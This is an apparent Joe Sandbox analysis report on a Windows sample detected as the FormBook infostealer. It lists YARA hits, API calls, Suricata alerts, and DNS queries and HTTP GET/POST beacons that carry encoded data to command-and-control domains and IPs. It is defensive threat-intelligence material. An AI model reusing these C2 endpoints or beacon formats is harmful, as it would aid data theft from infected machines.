Windows Analysis Report
xBzBOQwywT.exe

AI detected suspicious sample

Source: Yara match	File source: 2.2.svchost.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.svchost.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000006.00000002.3367695283.0000000004CE0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.3356645004.00000000004D0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.1804925513.0000000000400000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.3365351743.00000000009E0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.1809587289.00000000056F0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.3360236201.0000000000880000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.1808701497.0000000003590000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.3365349150.0000000002A00000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for sample

Source: xBzBOQwywT.exe

Joe Sandbox ML: detected

Source: xBzBOQwywT.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE, 32BIT_MACHINE

Source:	Binary string: R:\JoeSecurity\trunk\src\windows\usermode\tools\FakeChrome\Release\Chrome.pdb source: IpIaYUETnYWFH.exe, 00000004.00000000.1729593052.0000000000A0E000.00000002.00000001.01000000.00000005.sdmp, IpIaYUETnYWFH.exe, 00000006.00000002.3364160593.0000000000A0E000.00000002.00000001.01000000.00000005.sdmp
Source:	Binary string: wntdll.pdbUGP source: xBzBOQwywT.exe, 00000000.00000003.1592526943.00000000045A0000.00000004.00001000.00020000.00000000.sdmp, xBzBOQwywT.exe, 00000000.00000003.1591484081.0000000004740000.00000004.00001000.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.1806399364.000000000339E000.00000040.00001000.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.1715532753.0000000003000000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.1806399364.0000000003200000.00000040.00001000.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.1713483766.0000000002E00000.00000004.00000020.00020000.00000000.sdmp, RpcPing.exe, 00000005.00000002.3365897202.0000000002F50000.00000040.00001000.00020000.00000000.sdmp, RpcPing.exe, 00000005.00000003.1810471522.0000000000B94000.00000004.00000020.00020000.00000000.sdmp, RpcPing.exe, 00000005.00000002.3365897202.00000000030EE000.00000040.00001000.00020000.00000000.sdmp, RpcPing.exe, 00000005.00000003.1804899051.00000000009E7000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: RPCPing.pdbGCTL source: svchost.exe, 00000002.00000003.1772438382.0000000002C2B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.1772421164.0000000002C1A000.00000004.00000020.00020000.00000000.sdmp, IpIaYUETnYWFH.exe, 00000004.00000003.2058526696.0000000000C5B000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: wntdll.pdb source: xBzBOQwywT.exe, 00000000.00000003.1592526943.00000000045A0000.00000004.00001000.00020000.00000000.sdmp, xBzBOQwywT.exe, 00000000.00000003.1591484081.0000000004740000.00000004.00001000.00020000.00000000.sdmp, svchost.exe, svchost.exe, 00000002.00000002.1806399364.000000000339E000.00000040.00001000.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.1715532753.0000000003000000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.1806399364.0000000003200000.00000040.00001000.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.1713483766.0000000002E00000.00000004.00000020.00020000.00000000.sdmp, RpcPing.exe, RpcPing.exe, 00000005.00000002.3365897202.0000000002F50000.00000040.00001000.00020000.00000000.sdmp, RpcPing.exe, 00000005.00000003.1810471522.0000000000B94000.00000004.00000020.00020000.00000000.sdmp, RpcPing.exe, 00000005.00000002.3365897202.00000000030EE000.00000040.00001000.00020000.00000000.sdmp, RpcPing.exe, 00000005.00000003.1804899051.00000000009E7000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: RPCPing.pdb source: svchost.exe, 00000002.00000003.1772438382.0000000002C2B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.1772421164.0000000002C1A000.00000004.00000020.00020000.00000000.sdmp, IpIaYUETnYWFH.exe, 00000004.00000003.2058526696.0000000000C5B000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: svchost.pdb source: RpcPing.exe, 00000005.00000002.3367266886.000000000357C000.00000004.10000000.00040000.00000000.sdmp, RpcPing.exe, 00000005.00000002.3361983815.00000000008F2000.00000004.00000020.00020000.00000000.sdmp, IpIaYUETnYWFH.exe, 00000006.00000000.1874660765.00000000028AC000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 0000000A.00000002.2101667197.000000002D4CC000.00000004.80000000.00040000.00000000.sdmp
Source:	Binary string: svchost.pdbUGP source: RpcPing.exe, 00000005.00000002.3367266886.000000000357C000.00000004.10000000.00040000.00000000.sdmp, RpcPing.exe, 00000005.00000002.3361983815.00000000008F2000.00000004.00000020.00020000.00000000.sdmp, IpIaYUETnYWFH.exe, 00000006.00000000.1874660765.00000000028AC000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 0000000A.00000002.2101667197.000000002D4CC000.00000004.80000000.00040000.00000000.sdmp

Source: C:\Users\user\Desktop\xBzBOQwywT.exe	Code function: 0_2_00452492 FindFirstFileW,Sleep,FindNextFileW,FindClose,	0_2_00452492
Source: C:\Users\user\Desktop\xBzBOQwywT.exe	Code function: 0_2_00442886 FindFirstFileW,FindFirstFileW,FindNextFileW,FindClose,FindClose,FindClose,FindFirstFileW,SetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	0_2_00442886
Source: C:\Users\user\Desktop\xBzBOQwywT.exe	Code function: 0_2_004788BD FindFirstFileW,FindClose,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToSystemTime,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,	0_2_004788BD
Source: C:\Users\user\Desktop\xBzBOQwywT.exe	Code function: 0_2_004339B6 GetFileAttributesW,FindFirstFileW,FindClose,	0_2_004339B6
Source: C:\Users\user\Desktop\xBzBOQwywT.exe	Code function: 0_2_0045CAFA FindFirstFileW,FindNextFileW,FindClose,	0_2_0045CAFA
Source: C:\Users\user\Desktop\xBzBOQwywT.exe	Code function: 0_2_00431A86 FindFirstFileW,FindFirstFileW,GetFileAttributesW,SetFileAttributesW,FindNextFileW,FindClose,FindClose,FindClose,FindFirstFileW,SetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	0_2_00431A86
Source: C:\Users\user\Desktop\xBzBOQwywT.exe	Code function: 0_2_0044BD27 _wcscat,_wcscat,__wsplitpath,FindFirstFileW,CopyFileW,_wcscpy,_wcscat,_wcscat,lstrcmpiW,DeleteFileW,MoveFileW,CopyFileW,DeleteFileW,CopyFileW,FindClose,MoveFileW,FindNextFileW,FindClose,	0_2_0044BD27
Source: C:\Users\user\Desktop\xBzBOQwywT.exe	Code function: 0_2_0045DE8F FindFirstFileW,FindClose,	0_2_0045DE8F
Source: C:\Users\user\Desktop\xBzBOQwywT.exe	Code function: 0_2_0044BF8B _wcscat,__wsplitpath,FindFirstFileW,_wcscpy,_wcscat,_wcscat,DeleteFileW,FindNextFileW,FindClose,FindClose,	0_2_0044BF8B
Source: C:\Windows\SysWOW64\RpcPing.exe	Code function: 5_2_004EC4E0 FindFirstFileW,FindNextFileW,FindClose,	5_2_004EC4E0

Source: C:\Windows\SysWOW64\RpcPing.exe	Code function: 4x nop then xor eax, eax		5_2_004D9B20
Source: C:\Windows\SysWOW64\RpcPing.exe	Code function: 4x nop then mov ebx, 00000004h		5_2_00AE04E8

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2050745 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) M5 : 192.168.2.8:49710 -> 3.33.130.190:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.8:49727 -> 3.33.130.190:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.8:49742 -> 3.33.130.190:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.8:49710 -> 3.33.130.190:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.8:49712 -> 74.208.236.25:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.8:49713 -> 74.208.236.25:80
Source: Network traffic	Suricata IDS: 2050745 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) M5 : 192.168.2.8:49715 -> 74.208.236.25:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.8:49715 -> 74.208.236.25:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.8:49714 -> 74.208.236.25:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.8:49807 -> 3.33.130.190:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.8:49822 -> 3.33.130.190:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.8:49838 -> 3.33.130.190:80
Source: Network traffic	Suricata IDS: 2050745 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) M5 : 192.168.2.8:49851 -> 3.33.130.190:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.8:49851 -> 3.33.130.190:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.8:49758 -> 3.33.130.190:80
Source: Network traffic	Suricata IDS: 2050745 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) M5 : 192.168.2.8:49775 -> 3.33.130.190:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.8:49775 -> 3.33.130.190:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.8:49955 -> 3.33.130.190:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.8:49981 -> 3.33.130.190:80
Source: Network traffic	Suricata IDS: 2050745 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) M5 : 192.168.2.8:49993 -> 3.33.130.190:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.8:49993 -> 3.33.130.190:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.8:50000 -> 208.91.197.27:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.8:49998 -> 208.91.197.27:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.8:49995 -> 199.192.19.19:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.8:49994 -> 199.192.19.19:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.8:49999 -> 208.91.197.27:80
Source: Network traffic	Suricata IDS: 2050745 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) M5 : 192.168.2.8:50001 -> 208.91.197.27:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.8:50001 -> 208.91.197.27:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.8:49969 -> 3.33.130.190:80
Source: Network traffic	Suricata IDS: 2050745 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) M5 : 192.168.2.8:49997 -> 199.192.19.19:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.8:49997 -> 199.192.19.19:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.8:49996 -> 199.192.19.19:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.8:50003 -> 156.242.132.82:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.8:50002 -> 156.242.132.82:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.8:50004 -> 156.242.132.82:80
Source: Network traffic	Suricata IDS: 2050745 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) M5 : 192.168.2.8:50005 -> 156.242.132.82:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.8:50005 -> 156.242.132.82:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.8:50006 -> 84.32.84.32:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.8:50007 -> 84.32.84.32:80

Performs DNS queries to domains with low reputation

Source:	DNS query: www.animekuid.xyz
Source:	DNS query: www.animekuid.xyz
Source:	DNS query: www.animekuid.xyz
Source:	DNS query: www.animekuid.xyz
Source:	DNS query: www.animekuid.xyz
Source:	DNS query: www.animekuid.xyz
Source:	DNS query: www.demovix.xyz

Source: Joe Sandbox View	IP Address: 156.242.132.82 156.242.132.82
Source: Joe Sandbox View	IP Address: 208.91.197.27 208.91.197.27

Source: Joe Sandbox View	ASN Name: POWERLINE-AS-APPOWERLINEDATACENTERHK POWERLINE-AS-APPOWERLINEDATACENTERHK
Source: Joe Sandbox View	ASN Name: CONFLUENCE-NETWORK-INCVG CONFLUENCE-NETWORK-INCVG
Source: Joe Sandbox View	ASN Name: NTT-LT-ASLT NTT-LT-ASLT
Source: Joe Sandbox View	ASN Name: ONEANDONE-ASBrauerstrasse48DE ONEANDONE-ASBrauerstrasse48DE

Source: Network traffic	Suricata IDS: 2022930 - Severity 1 - ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow : 4.175.87.197:443 -> 192.168.2.8:49704
Source: Network traffic	Suricata IDS: 2022930 - Severity 1 - ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow : 4.175.87.197:443 -> 192.168.2.8:49711

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: C:\Users\user\Desktop\xBzBOQwywT.exe

Code function: 0_2_004422FE InternetQueryDataAvailable,InternetReadFile,

0_2_004422FE

Source: global traffic	HTTP traffic detected: GET /hfue/?sHS=543hApwHD&F2=GzF3o7eza1dU4F476cHHeral/cYJG+FCwgJMIz0HPlfrSCMBDVuQfjGNmxBd7moVrhCGY2hY7MCgK+Mnekgs9Dtqmg1if+oIl65BopybHLADU68if1oWKFmqENabDE70MA== HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8Accept-Language: en-US,en;q=0.9Host: www.multileveltravel.worldConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.38 Safari/537.36
Source: global traffic	HTTP traffic detected: GET /sld7/?F2=/serfU6kaxhlkkJx8dOr0qlSRXA+6La0KEB68G6jbYfyT6z2zvVJBFhkOYA104kn6FRHm7lAc7gn2TRu9DlzyIrvo6u+6+g1Ilwo5dhHoQBd/NfHtrD7TOfEhTSvK6UN8A==&sHS=543hApwHD HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8Accept-Language: en-US,en;q=0.9Host: www.falconclub.onlineConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.38 Safari/537.36
Source: global traffic	HTTP traffic detected: GET /abrg/?F2=GnAJmiRPPiyH2TmfuBVnsZoXdGf0FUPFySgQhtVOM4GwnDq9Dnvh9ePCWYtJxLLAU+yG0d2c2V85YMiF3u+CXoS/lp19JNeFf5Feq2s9J88WlfAexgO/UytfAJO4SOXJGQ==&sHS=543hApwHD HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8Accept-Language: en-US,en;q=0.9Host: www.promasterev.shopConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.38 Safari/537.36
Source: global traffic	HTTP traffic detected: GET /itly/?F2=tsSBdLA6gv84Y8GcYug/jDCyCw8YLYxClZSiOA0GXKnW8CsuEbQ9YFwfaGPSJlWcPZlV2TdpOPQww8tdSTouFUFoXNGv3nAP+8PLYYLXnvdwJlki1+XL6LziD5lvjPEK7Q==&sHS=543hApwHD HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8Accept-Language: en-US,en;q=0.9Host: www.childlesscatlady.todayConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.38 Safari/537.36
Source: global traffic	HTTP traffic detected: GET /szy7/?F2=K8R7SnSfb7dli3eXRAD3SnntsVSSj1ZCjsRlCzIsDWJUxclcgzVYTq7f6N7/UKjTBpPX3WVoPH/v0tj5Dmk2zyO1xKTiz6oBrNu4Rs3SGBcTrpTqDeJ9pPLW36ghW+11Rw==&sHS=543hApwHD HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8Accept-Language: en-US,en;q=0.9Host: www.doggieradio.netConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.38 Safari/537.36
Source: global traffic	HTTP traffic detected: GET /azuc/?F2=IEG0cbQocDdgsf0hXa+uAMZkMIV+L9dmDWmvXBjU8TDCB1WiaKjeRQjMK7ZBG/72TlyV3qB8EHQj0nSZZfMRjS9f0ml2OHl666AhHB2VhosEmVxlyD8Sfr3+gvtJ58MzMw==&sHS=543hApwHD HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8Accept-Language: en-US,en;q=0.9Host: www.demovix.xyzConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.38 Safari/537.36
Source: global traffic	HTTP traffic detected: GET /bnrz/?F2=OQxwzbuOtqgqEYELNcMucZtHnRjB34c8S/VejUlVZtuveUVj7y4E7KtMGd+fy1MLwhM03wpJ8ksC3Umpmq485u0/vrhbrCPm9Wbu3FX/PMpZ3p2821/Za72d+YrU3sps/g==&sHS=543hApwHD HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8Accept-Language: en-US,en;q=0.9Host: www.palcoconnector.netConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.38 Safari/537.36
Source: global traffic	HTTP traffic detected: GET /b6g5/?F2=a8QqMioE13Jt2iPiOClkfJLiI6soJM7xy7KAtya8ruOCNgqe2jC0xyltzPPw7ePD7gDMaG5P8Bx9i7otBFrS2CJxsBKcruwu6mzHCImmdlnckGZwJuxb62mJXIzJiBU08Q==&sHS=543hApwHD HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8Accept-Language: en-US,en;q=0.9Host: www.shanhaiguan.netConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.38 Safari/537.36

Source: global traffic	DNS traffic detected: DNS query: www.multileveltravel.world
Source: global traffic	DNS traffic detected: DNS query: www.falconclub.online
Source: global traffic	DNS traffic detected: DNS query: www.promasterev.shop
Source: global traffic	DNS traffic detected: DNS query: www.childlesscatlady.today
Source: global traffic	DNS traffic detected: DNS query: www.animekuid.xyz
Source: global traffic	DNS traffic detected: DNS query: www.doggieradio.net
Source: global traffic	DNS traffic detected: DNS query: www.demovix.xyz
Source: global traffic	DNS traffic detected: DNS query: www.palcoconnector.net
Source: global traffic	DNS traffic detected: DNS query: www.shanhaiguan.net
Source: global traffic	DNS traffic detected: DNS query: www.mtcep.org
Source: global traffic	DNS traffic detected: DNS query: www.es-lidl.online

Source: unknown

HTTP traffic detected: POST /sld7/ HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Host: www.falconclub.onlineOrigin: http://www.falconclub.onlineCache-Control: max-age=0Content-Length: 203Connection: closeContent-Type: application/x-www-form-urlencodedReferer: http://www.falconclub.online/sld7/User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.38 Safari/537.36Data Raw: 46 32 3d 79 75 32 4c 63 68 76 55 63 45 70 51 68 56 4e 52 35 64 61 53 69 73 5a 4d 65 41 78 47 73 71 2b 75 4f 57 63 37 70 48 4f 67 48 2b 4b 49 62 72 65 38 37 73 70 4b 44 33 70 74 45 6f 45 48 33 49 42 36 7a 53 64 70 68 4f 56 76 4b 65 78 34 79 6b 4d 71 30 48 56 4b 71 35 58 4a 73 76 33 73 72 70 70 6a 64 6c 31 77 30 2f 59 2b 79 30 4e 74 31 36 7a 4b 76 62 66 6a 64 4c 76 41 70 41 43 6e 49 71 73 45 6f 38 53 36 4b 42 62 36 65 62 69 46 4a 35 63 6e 68 31 58 71 37 48 43 38 78 64 56 57 52 49 2f 62 4d 4c 6b 63 4b 68 4d 35 55 4d 6b 47 6c 34 47 46 4d 42 41 59 53 66 6c 65 70 4e 31 36 66 36 35 5a 55 34 52 6d 44 71 6f 3d Data Ascii: F2=yu2LchvUcEpQhVNR5daSisZMeAxGsq+uOWc7pHOgH+KIbre87spKD3ptEoEH3IB6zSdphOVvKex4ykMq0HVKq5XJsv3srppjdl1w0/Y+y0Nt16zKvbfjdLvApACnIqsEo8S6KBb6ebiFJ5cnh1Xq7HC8xdVWRI/bMLkcKhM5UMkGl4GFMBAYSflepN16f65ZU4RmDqo=

Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/htmlTransfer-Encoding: chunkedConnection: closeDate: Thu, 07 Nov 2024 14:27:53 GMTServer: ApacheContent-Encoding: gzipData Raw: 31 38 39 0d 0a 1f 8b 08 00 00 00 00 00 00 03 7d 51 4b 4f e3 30 10 be f7 57 cc 7a 0f 9c 1c 37 94 43 9b 26 1c b6 ad b4 48 85 45 28 88 e5 68 62 b7 b1 e4 78 82 33 21 0d bf 1e 27 e5 b1 20 b4 27 8f ed ef 31 f3 4d fa 63 fd 67 95 df 5f 6f a0 a4 ca c2 f5 ed af ed c5 0a 18 17 e2 6e b6 12 62 9d af e1 ef ef fc 72 0b 71 34 85 dc 4b d7 18 32 e8 a4 15 62 73 c5 26 ac 24 aa 13 21 ba ae 8b ba 59 84 7e 2f f2 1b 71 18 b4 e2 81 fc 5a 72 fa 87 19 29 52 ec 7c 92 8e 86 56 ba 7d c6 b4 63 70 a8 6c f2 e9 e6 9a ec 1b f9 78 b1 58 1c 55 83 06 a4 a5 96 2a 9c 90 92 21 ab 87 0a 36 de a3 87 b3 e9 19 70 b8 42 82 1d b6 4e 0d 10 f1 8e 49 2b 4d 12 0a 74 a4 1d 65 8c f4 81 c4 d0 ce 12 8a 52 fa 46 53 d6 d2 8e cf 59 08 85 6a ae 1f 5b f3 94 b1 d5 11 ce f3 be d6 83 37 7c 51 71 c8 0b 59 94 fa 33 6b 7c e2 83 95 47 3b b6 2c 5e 7b 4e 1f 50 f5 d0 50 6f 75 c6 76 01 c0 77 b2 32 b6 4f a4 37 d2 2e 8f 16 65 fc 86 28 d0 a2 4f 7e 4e e5 ec 74 5e 2c 47 7c 63 9e 75 12 16 a3 ab 23 fa 3f a3 97 f1 d8 71 fd a6 f6 c1 9f 46 f3 77 fe 3d b6 1e 1e 3c 76 8d f6 50 48 77 12 d2 33 4e 01 95 1a 14 16 6d 15 e2 0a b1 79 af 9b 1a 9d 32 6e 0f 84 e3 ef ed cd 16 7a 6c 81 42 38 0a 8c 8b c6 c0 eb 60 9a 8a 61 ce b0 ef 31 e1 f3 c9 0b 6c 60 6d 75 72 02 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: 189}QKO0Wz7C&HE(hbx3!' '1Mcg_onbrq4K2bs&$!Y~/qZr)R\|V}cplxXU*!6pBNI+MteRFSYj[7\|QqY3k\|G;,^{NPPouvw2O7.e(O~Nt^,G\|cu#?qFw=<vPHw3Nmy2nzlB8`a1l`mur0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/htmlTransfer-Encoding: chunkedConnection: closeDate: Thu, 07 Nov 2024 14:27:55 GMTServer: ApacheContent-Encoding: gzipData Raw: 31 38 39 0d 0a 1f 8b 08 00 00 00 00 00 00 03 7d 51 4b 4f e3 30 10 be f7 57 cc 7a 0f 9c 1c 37 94 43 9b 26 1c b6 ad b4 48 85 45 28 88 e5 68 62 b7 b1 e4 78 82 33 21 0d bf 1e 27 e5 b1 20 b4 27 8f ed ef 31 f3 4d fa 63 fd 67 95 df 5f 6f a0 a4 ca c2 f5 ed af ed c5 0a 18 17 e2 6e b6 12 62 9d af e1 ef ef fc 72 0b 71 34 85 dc 4b d7 18 32 e8 a4 15 62 73 c5 26 ac 24 aa 13 21 ba ae 8b ba 59 84 7e 2f f2 1b 71 18 b4 e2 81 fc 5a 72 fa 87 19 29 52 ec 7c 92 8e 86 56 ba 7d c6 b4 63 70 a8 6c f2 e9 e6 9a ec 1b f9 78 b1 58 1c 55 83 06 a4 a5 96 2a 9c 90 92 21 ab 87 0a 36 de a3 87 b3 e9 19 70 b8 42 82 1d b6 4e 0d 10 f1 8e 49 2b 4d 12 0a 74 a4 1d 65 8c f4 81 c4 d0 ce 12 8a 52 fa 46 53 d6 d2 8e cf 59 08 85 6a ae 1f 5b f3 94 b1 d5 11 ce f3 be d6 83 37 7c 51 71 c8 0b 59 94 fa 33 6b 7c e2 83 95 47 3b b6 2c 5e 7b 4e 1f 50 f5 d0 50 6f 75 c6 76 01 c0 77 b2 32 b6 4f a4 37 d2 2e 8f 16 65 fc 86 28 d0 a2 4f 7e 4e e5 ec 74 5e 2c 47 7c 63 9e 75 12 16 a3 ab 23 fa 3f a3 97 f1 d8 71 fd a6 f6 c1 9f 46 f3 77 fe 3d b6 1e 1e 3c 76 8d f6 50 48 77 12 d2 33 4e 01 95 1a 14 16 6d 